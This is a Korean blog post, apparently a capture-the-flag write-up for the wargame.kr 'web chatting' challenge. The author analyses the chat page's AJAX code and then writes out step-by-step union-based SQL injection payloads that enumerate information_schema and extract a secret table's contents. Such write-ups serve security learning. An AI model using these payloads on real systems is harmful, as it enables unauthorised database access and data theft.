wargame.kr 15번 web chatting 이라는 문제다.

점수는 650 point! 점수가 올랐다. 이전문제에서 애를 좀 썻는데 이번에도 뭔가 만만치 않을 것 같다.

흠.. 일단 SQLi 문제인 것 같다. 개발자의 관점에서 트래픽을 줄일 수 있도록 설정하라는 것 같다.

긴말말고 시작해보자.


들어가보면 간단한 채팅 프로그램이 나온다.


sql injection을 하랬는데 아직까진 딱히 감이 오지는 않는다. 소스부터 확인해보자.

흠.. 보아하니 xml http 사용해 ajax를 구현한 것 같다.

자 천천히 분석을 시작해보자.

 function getchatlog(type){
  xmlhttp = new XMLHttpRequest();
  if(type==1){xmlhttp.onreadystatechange=getni;xmlhttp.open("GET","chatlog.php?t=1");
  }else if(type==2){xmlhttp.onreadystatechange=chatprint;xmlhttp.open("GET","chatview.php?t=1&ni="+ni);}
  xmlhttp.send(null);
 }

일단 chatlog.php?t=1 로 값을 넘기는 게 보인다. 일단한번 들어가보자.


일단 뭔진 모르겠지만 무슨 값이 보인다.

xmlhttp.onreadystatechange=getni를 통해 데이터 넘기고 응답값을 받는 부분을 확인해 봤다.

function getni(){
  if(xmlhttp.readyState==4 && xmlhttp.status==200){
   var tni=parseInt(xmlhttp.responseText);
   if(tni!=ni && iq!=0){getchatlog(2);}
   ni=tni;iq=1;
  }
 }

응답시 실행되는 getni함수를 통해

xmlhttp.open("GET","chatview.php?t=1&ni="+ni) 부분이 호출되고 ni값으로 대충
chatlog.php?t=1 입력했을때 출력된 값이 들어가는 걸로 보인다.

확실하진 않지만 일단 한번 chatview.php?t=1&ni="+ni 로 입력해봤다.

...? 틀린 것 같다 아무것도 출력이 안된다.

뭘까.. 저 숫자가..... 한참 고민하다 채팅을 하나더 쳐봤다.

그리고 다시 들어가보니 숫자가 1이 늘어있다.

뭔가 채팅이 저장된 마지막 번호 같은데 쿼리로 입력해봐도 별 다른 출력이 없어 멘붕....

이것 저것 해보다 ni입력값을 출력된 번호보다 낮게 입력했더니 다음과 같이 이전에 썻던 채팅 목록이 나온다.

 


대충 sql문이 어떤식으로 만들어 졌는지 감이 온다.

select * from table_name where ni > $_GET[ni] 이런식으로 출력되는 것 같다.

그러면 여기서 t=1&ni=22148 or 1=1 # 이런식으로 입력이 가능해 보인다.

모든 값이 출력된다.

union sql injection이 가능할 것 같다.

이것 저것 시도해보다 필드가 5개일때 정상 출력되는 걸 확인할 수 있었다. 주석처리가 #은 안먹히고 --은 먹히는걸 확인 할 수 있었다.

t=1&ni=22148 union select 1234567891011,1234567891011,1234567891011,1234567891011,1234567891011 --

라고 쿼리를 주고 전체 페이지에서 1234567891011을 검색해 봤다.

화면 맨 밑에 3개의 필드가 표시되는걸 볼 수 있었다. 다시한번 정확한 위치 확인을 위해

t=1&ni=22148 union select 1,2,3,4,5 -- 로 다시 쿼리를 줬다.

2,3,5번째 필드를 통해 플래그 값을 구할 수 있을 것 같다.

먼저 플래그가 있을만한 테이블부터 찾아보자.

t=1&ni=22148 union select 1,table_name, 3,4,5 from information_schema.tables  --

쿼리를 줘보니

chat_log_secret이라는 수상한 테이블이름이 보인다.

다음으로 컬럼을 확인해보자.

t=1&ni=22148 union select 1,column_name, 3,4,5 from information_schema.columns --

쿼리를 줘보니

readme라는 익숙한 필드가 보인다.

이제 테이블과 필드를 가지고 플래그값을 구해보자.

t=1&ni=22148 union select 1,README,3,4,5 from chat_log_secret --


성공 !!

xml http 형식의 ajax 코드를 처음봐서 처음에 살짝 당황했던 문제.


'Wargame > wargame.kr' 카테고리의 다른 글

wargame.kr img recovery  (0) 2018.01.04
wargame.kr pyc decompile  (0) 2018.01.04
wargame.kr SimpleBoard  (0) 2018.01.04
wargame.kr tmitter  (0) 2018.01.04
wargame.kr type confusion  (0) 2018.01.04
블로그 이미지

JeonYoungSin

메모 기록용 공간

,